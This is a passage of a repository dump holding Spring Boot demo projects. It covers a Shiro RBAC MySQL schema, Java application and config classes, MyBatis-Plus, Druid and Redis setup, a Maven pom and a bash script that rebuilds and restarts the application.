KEY `email` (`email`)\n) ENGINE = InnoDB\n  DEFAULT CHARSET = utf8 COMMENT ='用户表';\n\n-- ----------------------------\n-- Table structure for sec_role\n-- ----------------------------\nDROP TABLE IF EXISTS `shiro_role`;\nCREATE TABLE `shiro_role`\n(\n  `id`          bigint(64)  NOT NULL COMMENT '主键',\n  `name`        varchar(50) NOT NULL COMMENT '角色名',\n  `description` varchar(100) DEFAULT NULL COMMENT '描述',\n  `create_time` bigint(13)  NOT NULL COMMENT '创建时间',\n  `update_time` bigint(13)  NOT NULL COMMENT '更新时间',\n  PRIMARY KEY (`id`),\n  UNIQUE KEY `name` (`name`)\n) ENGINE = InnoDB\n  DEFAULT CHARSET = utf8 COMMENT ='角色表';\n\n-- ----------------------------\n-- Table structure for sec_user_role\n-- ----------------------------\nDROP TABLE IF EXISTS `shiro_user_role`;\nCREATE TABLE `shiro_user_role`\n(\n  `user_id` bigint(64) NOT NULL COMMENT '用户主键',\n  `role_id` bigint(64) NOT NULL COMMENT '角色主键',\n  PRIMARY KEY (`user_id`, `role_id`)\n) ENGINE = InnoDB\n  DEFAULT CHARSET = utf8 COMMENT ='用户角色关系表';\n\n-- ----------------------------\n-- Table structure for sec_permission\n-- ----------------------------\nDROP TABLE IF EXISTS `shiro_permission`;\nCREATE TABLE `shiro_permission`\n(\n  `id`         bigint(64)  NOT NULL COMMENT '主键',\n  `name`       varchar(50) NOT NULL COMMENT '权限名',\n  `url`        varchar(1000) DEFAULT NULL COMMENT '类型为页面时，代表前端路由地址，类型为按钮时，代表后端接口地址',\n  `type`       int(2)      NOT NULL COMMENT '权限类型，页面-1，按钮-2',\n  `permission` varchar(50)   DEFAULT NULL COMMENT '权限表达式',\n  `method`     varchar(50)   DEFAULT NULL COMMENT '后端接口访问方式',\n  `sort`       int(11)     NOT NULL COMMENT '排序',\n  `parent_id`  bigint(64)  NOT NULL COMMENT '父级id',\n  PRIMARY KEY (`id`)\n) ENGINE = InnoDB\n  DEFAULT CHARSET = utf8 COMMENT ='权限表';\n\n-- ----------------------------\n-- Table structure for sec_role_permission\n-- ----------------------------\nDROP TABLE IF EXISTS `shiro_role_permission`;\nCREATE TABLE `shiro_role_permission`\n(\n  `role_id`       bigint(64) NOT NULL COMMENT '角色主键',\n  `permission_id` bigint(64) NOT NULL COMMENT '权限主键',\n  PRIMARY KEY (`role_id`, `permission_id`)\n) ENGINE = InnoDB\n  DEFAULT CHARSET = utf8 COMMENT ='角色权限关系表';"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_shiro/src/main/java/com/jun/plugin/rbac/shiro/SpringBootDemoRbacShiroApplication.java",
    "content": "package com.jun.plugin.rbac.shiro;\n\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @package: com.xkcoding.rbac.shiro\n * @description: 启动器\n * @author: yangkai.shen\n * @date: Created in 2019-03-21 16:11\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@SpringBootApplication\n@MapperScan(\"com.xkcoding.rbac.shiro.mapper\")\npublic class SpringBootDemoRbacShiroApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoRbacShiroApplication.class, args);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_shiro/src/main/java/com/jun/plugin/rbac/shiro/common/IResultCode.java",
    "content": "package com.jun.plugin.rbac.shiro.common;\n\n/**\n * <p>\n * 统一状态码接口\n * </p>\n *\n * @package: com.xkcoding.rbac.shiro.common\n * @description: 统一状态码接口\n * @author: yangkai.shen\n * @date: Created in 2019-03-21 16:28\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface IResultCode {\n    /**\n     * 获取状态码\n     *\n     * @return 状态码\n     */\n    Integer getCode();\n\n    /**\n     * 获取返回消息\n     *\n     * @return 返回消息\n     */\n    String getMessage();\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_shiro/src/main/java/com/jun/plugin/rbac/shiro/common/R.java",
    "content": "package com.jun.plugin.rbac.shiro.common;\n\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\n/**\n * <p>\n * 统一API对象返回\n * </p>\n *\n * @package: com.xkcoding.rbac.shiro.common\n * @description: 统一API对象返回\n * @author: yangkai.shen\n * @date: Created in 2019-03-21 16:24\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@NoArgsConstructor\npublic class R<T> {\n    /**\n     * 状态码\n     */\n    private Integer code;\n\n    /**\n     * 返回消息\n     */\n    private String message;\n\n    /**\n     * 状态\n     */\n    private boolean status;\n\n    /**\n     * 返回数据\n     */\n    private T data;\n\n    public R(Integer code, String message, boolean status, T data) {\n        this.code = code;\n        this.message = message;\n        this.status = status;\n        this.data = data;\n    }\n\n    public R(IResultCode resultCode, boolean status, T data) {\n        this.code = resultCode.getCode();\n        this.message = resultCode.getMessage();\n        this.status = status;\n        this.data = data;\n    }\n\n    public R(IResultCode resultCode, boolean status) {\n        this.code = resultCode.getCode();\n        this.message = resultCode.getMessage();\n        this.status = status;\n        this.data = null;\n    }\n\n    public static <T> R success() {\n        return new R<>(ResultCode.OK, true);\n    }\n\n    public static <T> R message(String message) {\n        return new R<>(ResultCode.OK.getCode(), message, true, null);\n    }\n\n    public static <T> R success(T data) {\n        return new R<>(ResultCode.OK, true, data);\n    }\n\n    public static <T> R fail() {\n        return new R<>(ResultCode.ERROR, false);\n    }\n\n    public static <T> R fail(IResultCode resultCode) {\n        return new R<>(resultCode, false);\n    }\n\n    public static <T> R fail(Integer code, String message) {\n        return new R<>(code, message, false, null);\n    }\n\n    public static <T> R fail(IResultCode resultCode, T data) {\n        return new R<>(resultCode, false, data);\n    }\n\n    public static <T> R fail(Integer code, String message, T data) {\n        return new R<>(code, message, false, data);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_shiro/src/main/java/com/jun/plugin/rbac/shiro/common/ResultCode.java",
    "content": "package com.jun.plugin.rbac.shiro.common;\n\nimport lombok.Getter;\n\n/**\n * <p>\n * 通用状态枚举\n * </p>\n *\n * @package: com.xkcoding.rbac.shiro.common\n * @description: 通用状态枚举\n * @author: yangkai.shen\n * @date: Created in 2019-03-21 16:31\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Getter\npublic enum ResultCode implements IResultCode {\n    /**\n     * 成功\n     */\n    OK(200, \"成功\"),\n    /**\n     * 失败\n     */\n    ERROR(500, \"失败\");\n\n    /**\n     * 返回码\n     */\n    private Integer code;\n\n    /**\n     * 返回消息\n     */\n    private String message;\n\n    ResultCode(Integer code, String message) {\n        this.code = code;\n        this.message = message;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_shiro/src/main/java/com/jun/plugin/rbac/shiro/config/MybatisPlusConfig.java",
    "content": "package com.jun.plugin.rbac.shiro.config;\n\nimport com.baomidou.mybatisplus.core.parser.ISqlParser;\nimport com.baomidou.mybatisplus.extension.parsers.BlockAttackSqlParser;\nimport com.baomidou.mybatisplus.extension.plugins.PaginationInterceptor;\nimport com.baomidou.mybatisplus.extension.plugins.PerformanceInterceptor;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * <p>\n * MP3 配置\n * </p>\n *\n * @package: com.xkcoding.rbac.shiro.config\n * @description: MP3 配置\n * @author: yangkai.shen\n * @date: Created in 2019-03-21 17:06\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\npublic class MybatisPlusConfig {\n\n    @Bean\n    public PaginationInterceptor paginationInterceptor() {\n        PaginationInterceptor paginationInterceptor = new PaginationInterceptor();\n\n        List<ISqlParser> sqlParserList = new ArrayList<>();\n        // 攻击 SQL 阻断解析器、加入解析链\n        sqlParserList.add(new BlockAttackSqlParser());\n        paginationInterceptor.setSqlParserList(sqlParserList);\n\n        return paginationInterceptor;\n    }\n\n    /**\n     * SQL执行效率插件\n     */\n    @Bean\n    public PerformanceInterceptor performanceInterceptor() {\n        return new PerformanceInterceptor();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_shiro/src/main/java/com/jun/plugin/rbac/shiro/controller/TestController.java",
    "content": "package com.jun.plugin.rbac.shiro.controller;\n\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.jun.plugin.rbac.shiro.common.R;\n\n/**\n * <p>\n * 测试Controller\n * </p>\n *\n * @package: com.xkcoding.rbac.shiro.controller\n * @description: 测试Controller\n * @author: yangkai.shen\n * @date: Created in 2019-03-21 16:13\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@RestController\n@RequestMapping(\"/test\")\npublic class TestController {\n\n    @GetMapping(\"\")\n    public R test() {\n        return R.success();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_shiro/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /demo\nspring:\n  datasource:\n    hikari:\n      username: root\n      password: root\n    driver-class-name: com.p6spy.engine.spy.P6SpyDriver\n    url: jdbc:p6spy:mysql://127.0.0.1:3306/spring-boot-demo?useUnicode=true&characterEncoding=UTF-8&useSSL=false&autoReconnect=true&failOverReadOnly=false&serverTimezone=GMT%2B8\nmybatis-plus:\n  global-config:\n    # 关闭banner\n    banner: false"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_shiro/src/main/resources/spy.properties",
    "content": "module.log=com.p6spy.engine.logging.P6LogFactory,com.p6spy.engine.outage.P6OutageFactory\n# 自定义日志打印\nlogMessageFormat=com.baomidou.mybatisplus.extension.p6spy.P6SpyLogger\n#日志输出到控制台\nappender=com.baomidou.mybatisplus.extension.p6spy.StdoutLogger\n# 使用日志系统记录 sql\n#appender=com.p6spy.engine.spy.appender.Slf4JLogger\n# 设置 p6spy driver 代理\nderegisterdrivers=true\n# 取消JDBC URL前缀\nuseprefix=true\n# 配置记录 Log 例外,可去掉的结果集有error,info,batch,debug,statement,commit,rollback,result,resultset.\nexcludecategories=info,debug,result,batch,resultset\n# 日期格式\ndateformat=yyyy-MM-dd HH:mm:ss\n# 实际驱动可多个\n#driverlist=org.h2.Driver\n# 是否开启慢SQL记录\noutagedetection=true\n# 慢SQL记录标准 2 秒\noutagedetectioninterval=2"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_shiro/src/test/java/com/jun/plugin/rbac/shiro/SpringBootDemoRbacShiroApplicationTests.java",
    "content": "package com.jun.plugin.rbac.shiro;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoRbacShiroApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis/.gitignore",
    "content": "# 此为注释– 将被Git 忽略\n# /结尾表示是目录，忽略目录和目录下的所有件\n# /开头表示根目录，否则是.gitignore的相对目录\n# !开头表示反选\n.idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis/README.md",
    "content": "## SpringBoot Redis演示项目\n\nSpringBoot中通过RedisTemplate来直接操作Redis缓存数据库\n\n## 运行\n\n初始化sql文件在`resources/sql/t_user.sql`中\n\n另外还需要安装Redis，配置好`application.yml`文件中的redis地址\n\n测试用例：`com.xncoding.service.UserServiceTest.java`\n\n## 许可证\n\nCopyright (c) 2018 Xiong Neng\n\n基于 MIT 协议发布: <http://www.opensource.org/licenses/MIT>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_redis</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n\n    <description>SpringBoot Redis演示</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n        <relativePath/>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <jackson-databind-version>2.9.4</jackson-databind-version>\n\t\t<druid.version>1.1.2</druid.version>\n        <mysql-connector.version>8.0.7-dmr</mysql-connector.version>\n        <mybatis-plus.version>2.1.8</mybatis-plus.version>\n        <mybatisplus-spring-boot-starter.version>1.0.5</mybatisplus-spring-boot-starter.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-redis</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-pool2</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-core</artifactId>\n            <version>${jackson-databind-version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n            <version>${jackson-databind-version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-annotations</artifactId>\n            <version>${jackson-databind-version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n            <exclusions>\n                <exclusion>\n                    <groupId>com.vaadin.external.google</groupId>\n                    <artifactId>android-json</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n\t\t<dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jdbc</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <version>${mysql-connector.version}</version>\n            <scope>runtime</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>${druid.version}</version>\n        </dependency>\n        <!-- MyBatis plus增强和springboot的集成-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatisplus-spring-boot-starter</artifactId>\n            <version>${mybatisplus-spring-boot-starter.version}</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.6.1</version>\n                <configuration>\n                    <!--<proc>none</proc>-->\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.20</version>\n                <configuration>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <executions>\n                </executions>\n            </plugin>\n        </plugins>\n\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n            </resource>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.xml</include>\n                </includes>\n            </resource>\n        </resources>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis/run.sh",
    "content": "#!/bin/bash\n# 项目自动更新脚本\n# 先clone相应的分支下来：\n# git clone ssh://git@120.24.173.142:7999/xxx.git\n# 远程调试启动：\n# nohup java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n\nfunction start {\n    profile=\"$1\"\n    echo \"启动环境profile=${profile}\"\n    jarfile=$(ls target/*.jar)\n    if [[ \"$?\" == \"0\" ]]; then\n        stop $profile $jarfile\n    fi\n    branch=$(git branch |awk '{print $2}')\n    git pull origin ${branch}\n    echo \"更新完代码开始重新打包\"\n    mvn clean && mvn clean && mvn package -DskipTests=true\n    if [[ \"$?\" != \"0\" ]]; then\n        echo \"编译出错，退出！\"\n        exit 1\n    fi\n    echo \"nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\"\n    nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n    echo \"启动应用中，请查看日志文件...\"\n}\n\nfunction stop {\n    profile=\"$1\"\n    jarfile=\"$2\"\n    ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep > /dev/null\n    if [[ \"$?\" == \"0\" ]]; then\n        echo \"该应用还在跑，我先停了它\"\n        pid=$(ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep |awk '{print $2}')\n        if [[ \"$pid\" != \"\" ]]; then\n            kill -9 $pid\n        fi\n        echo \"停止应用成功...\"\n    fi\n}\n\nif [[ \"$1\" == \"start\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh start {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    start \"${profile}\"\nelif [[ \"$1\" == \"stop\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh stop  {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh stop {profile}     ==> 停止应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    jarfile=$(ls target/*.jar)\n    stop $profile $jarfile\nelse\n    echo \"参数错误，使用方法：{}参数是必填的，[]参数可选\"\n    echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n    echo \"./epay.sh stop  {profile}    ==> 停止应用，{profile}取值：dev|test|show|production\"\n    exit 1\nfi\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis/src/main/java/com/xncoding/pos/Application.java",
    "content": "package com.xncoding.pos;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis/src/main/java/com/xncoding/pos/config/DruidProperties.java",
    "content": "package com.xncoding.pos.config;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.alibaba.druid.util.JdbcConstants;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.stereotype.Component;\n\nimport java.sql.SQLException;\n\n/**\n * <p>数据库数据源配置</p>\n * <p>说明:这个类中包含了许多默认配置,若这些配置符合您的情况,您可以不用管,若不符合,建议不要修改本类,建议直接在\"application.yml\"中配置即可</p>\n *\n * @author xiongneng\n * @since 2017-05-21 11:18\n */\n@Component\n@ConfigurationProperties(prefix = \"spring.datasource\")\npublic class DruidProperties {\n\n    private String url;\n\n    private String username;\n\n    private String password;\n\n    private String driverClassName = \"com.mysql.cj.jdbc.Driver\";\n\n    private Integer initialSize = 10;\n\n    private Integer minIdle = 3;\n\n    private Integer maxActive = 60;\n\n    private Integer maxWait = 60000;\n\n    private Boolean removeAbandoned = true;\n\n    private Integer removeAbandonedTimeout = 180;\n\n    private Integer timeBetweenEvictionRunsMillis = 60000;\n\n    private Integer minEvictableIdleTimeMillis = 300000;\n\n    private String validationQuery = \"SELECT 'x'\";\n\n    private Boolean testWhileIdle = true;\n\n    private Boolean testOnBorrow = false;\n\n    private Boolean testOnReturn = false;\n\n    private Boolean poolPreparedStatements = true;\n\n    private Integer maxPoolPreparedStatementPerConnectionSize = 50;\n\n    private String filters = \"stat\";\n\n    public void config(DruidDataSource dataSource) {\n        dataSource.setDbType(JdbcConstants.MYSQL);\n        dataSource.setUrl(url);\n        dataSource.setUsername(username);\n        dataSource.setPassword(password);\n        dataSource.setDriverClassName(driverClassName);\n        dataSource.setInitialSize(initialSize);     // 定义初始连接数\n        dataSource.setMinIdle(minIdle);             // 最小空闲\n        dataSource.setMaxActive(maxActive);         // 定义最大连接数\n        dataSource.setMaxWait(maxWait);             // 获取连接等待超时的时间\n        dataSource.setRemoveAbandoned(removeAbandoned); // 超过时间限制是否回收\n        dataSource.setRemoveAbandonedTimeout(removeAbandonedTimeout); // 超过时间限制多长\n\n        // 配置间隔多久才进行一次检测，检测需要关闭的空闲连接，单位是毫秒\n        dataSource.setTimeBetweenEvictionRunsMillis(timeBetweenEvictionRunsMillis);\n        // 配置一个连接在池中最小生存的时间，单位是毫秒\n        dataSource.setMinEvictableIdleTimeMillis(minEvictableIdleTimeMillis);\n        // 用来检测连接是否有效的sql，要求是一个查询语句\n        dataSource.setValidationQuery(validationQuery);\n        // 申请连接的时候检测\n        dataSource.setTestWhileIdle(testWhileIdle);\n        // 申请连接时执行validationQuery检测连接是否有效，配置为true会降低性能\n        dataSource.setTestOnBorrow(testOnBorrow);\n        // 归还连接时执行validationQuery检测连接是否有效，配置为true会降低性能\n        dataSource.setTestOnReturn(testOnReturn);\n        // 打开PSCache，并且指定每个连接上PSCache的大小\n        dataSource.setPoolPreparedStatements(poolPreparedStatements);\n        dataSource.setMaxPoolPreparedStatementPerConnectionSize(maxPoolPreparedStatementPerConnectionSize);\n        // 属性类型是字符串，通过别名的方式配置扩展插件，常用的插件有：\n        // 监控统计用的filter:stat\n        // 日志用的filter:log4j\n        // 防御SQL注入的filter:wall\n        try {\n            dataSource.setFilters(filters);\n        } catch (SQLException e) {\n            e.printStackTrace();\n        }\n    }\n\n    public String getUrl() {\n        return url;\n    }\n\n    public void setUrl(String url) {\n        this.url = url;\n    }\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    public String getDriverClassName() {\n        return driverClassName;\n    }\n\n    public void setDriverClassName(String driverClassName) {\n        this.driverClassName = driverClassName;\n    }\n\n    public Integer getInitialSize() {\n        return initialSize;\n    }\n\n    public void setInitialSize(Integer initialSize) {\n        this.initialSize = initialSize;\n    }\n\n    public Integer getMinIdle() {\n        return minIdle;\n    }\n\n    public void setMinIdle(Integer minIdle) {\n        this.minIdle = minIdle;\n    }\n\n    public Integer getMaxActive() {\n        return maxActive;\n    }\n\n    public void setMaxActive(Integer maxActive) {\n        this.maxActive = maxActive;\n    }\n\n    public Integer getMaxWait() {\n        return maxWait;\n    }\n\n    public void setMaxWait(Integer maxWait) {\n        this.maxWait = maxWait;\n    }\n\n    public Integer getTimeBetweenEvictionRunsMillis() {\n        return timeBetweenEvictionRunsMillis;\n    }\n\n    public void setTimeBetweenEvictionRunsMillis(Integer timeBetweenEvictionRunsMillis) {\n        this.timeBetweenEvictionRunsMillis = timeBetweenEvictionRunsMillis;\n    }\n\n    public Integer getMinEvictableIdleTimeMillis() {\n        return minEvictableIdleTimeMillis;\n    }\n\n    public void setMinEvictableIdleTimeMillis(Integer minEvictableIdleTimeMillis) {\n        this.minEvictableIdleTimeMillis = minEvictableIdleTimeMillis;\n    }\n\n    public String getValidationQuery() {\n        return validationQuery;\n    }\n\n    public void setValidationQuery(String validationQuery) {\n        this.validationQuery = validationQuery;\n    }\n\n    public Boolean getTestWhileIdle() {\n        return testWhileIdle;\n    }\n\n    public void setTestWhileIdle(Boolean testWhileIdle) {\n        this.testWhileIdle = testWhileIdle;\n    }\n\n    public Boolean getTestOnBorrow() {\n        return testOnBorrow;\n    }\n\n    public void setTestOnBorrow(Boolean testOnBorrow) {\n        this.testOnBorrow = testOnBorrow;\n    }\n\n    public Boolean getTestOnReturn() {\n        return testOnReturn;\n    }\n\n    public void setTestOnReturn(Boolean testOnReturn) {\n        this.testOnReturn = testOnReturn;\n    }\n\n    public Boolean getPoolPreparedStatements() {\n        return poolPreparedStatements;\n    }\n\n    public void setPoolPreparedStatements(Boolean poolPreparedStatements) {\n        this.poolPreparedStatements = poolPreparedStatements;\n    }\n\n    public Integer getMaxPoolPreparedStatementPerConnectionSize() {\n        return maxPoolPreparedStatementPerConnectionSize;\n    }\n\n    public void setMaxPoolPreparedStatementPerConnectionSize(Integer maxPoolPreparedStatementPerConnectionSize) {\n        this.maxPoolPreparedStatementPerConnectionSize = maxPoolPreparedStatementPerConnectionSize;\n    }\n\n    public String getFilters() {\n        return filters;\n    }\n\n    public void setFilters(String filters) {\n        this.filters = filters;\n    }\n\n    public Boolean getRemoveAbandoned() {\n        return removeAbandoned;\n    }\n\n    public void setRemoveAbandoned(Boolean removeAbandoned) {\n        this.removeAbandoned = removeAbandoned;\n    }\n\n    public Integer getRemoveAbandonedTimeout() {\n        return removeAbandonedTimeout;\n    }\n\n    public void setRemoveAbandonedTimeout(Integer removeAbandonedTimeout) {\n        this.removeAbandonedTimeout = removeAbandonedTimeout;\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis/src/main/java/com/xncoding/pos/config/MybatisPlusConfig.java",
    "content": "package com.xncoding.pos.config;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.baomidou.mybatisplus.plugins.PaginationInterceptor;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.transaction.annotation.EnableTransactionManagement;\n\nimport javax.annotation.Resource;\n\n/**\n * MybatisPlus配置\n *\n * @author xiongneng\n * @since 2017/5/20 21:58\n */\n@Configuration\n@EnableTransactionManagement(order = 2)\n@MapperScan(basePackages = {\"com.xncoding.pos.dao.repository\"})\npublic class MybatisPlusConfig {\n\n    @Resource\n    private DruidProperties druidProperties;\n\n    /**\n     * 单数据源连接池配置\n     */\n    @Bean\n    public DruidDataSource singleDatasource() {\n        DruidDataSource dataSource = new DruidDataSource();\n        druidProperties.config(dataSource);\n        return dataSource;\n    }\n\n    /**\n     * mybatis-plus分页插件\n     */\n    @Bean\n    public PaginationInterceptor paginationInterceptor() {\n        return new PaginationInterceptor();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis/src/main/java/com/xncoding/pos/config/RedisConfig.java",
    "content": "package com.xncoding.pos.config;\n\nimport com.fasterxml.jackson.annotation.JsonAutoDetect;\nimport com.fasterxml.jackson.annotation.PropertyAccessor;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.data.redis.connection.RedisConnectionFactory;\nimport org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.data.redis.serializer.Jackson2JsonRedisSerializer;\nimport org.springframework.data.redis.serializer.StringRedisSerializer;\n\n/**\n * RedisConfig\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/3\n */\n@Configuration\npublic class RedisConfig {\n    /**\n     * redisTemplate 序列化使用的jdkSerializeable, 存储二进制字节码, 所以自定义序列化类\n     * @param redisConnectionFactory redis连接工厂类\n     * @return RedisTemplate\n     */\n    @Bean\n    public RedisTemplate<Object, Object> redisTemplate(RedisConnectionFactory redisConnectionFactory) {\n        RedisTemplate<Object, Object> redisTemplate = new RedisTemplate<>();\n        redisTemplate.setConnectionFactory(redisConnectionFactory);\n\n        // 使用Jackson2JsonRedisSerialize 替换默认序列化\n        Jackson2JsonRedisSerializer jackson2JsonRedisSerializer = new Jackson2JsonRedisSerializer(Object.class);\n\n        ObjectMapper objectMapper = new ObjectMapper();\n        objectMapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);\n        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);\n\n        jackson2JsonRedisSerializer.setObjectMapper(objectMapper);\n\n        // 设置value的序列化规则和 key的序列化规则\n        redisTemplate.setKeySerializer(new StringRedisSerializer());\n        redisTemplate.setValueSerializer(jackson2JsonRedisSerializer);\n        redisTemplate.afterPropertiesSet();\n        return redisTemplate;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis/src/main/java/com/xncoding/pos/dao/entity/User.java",
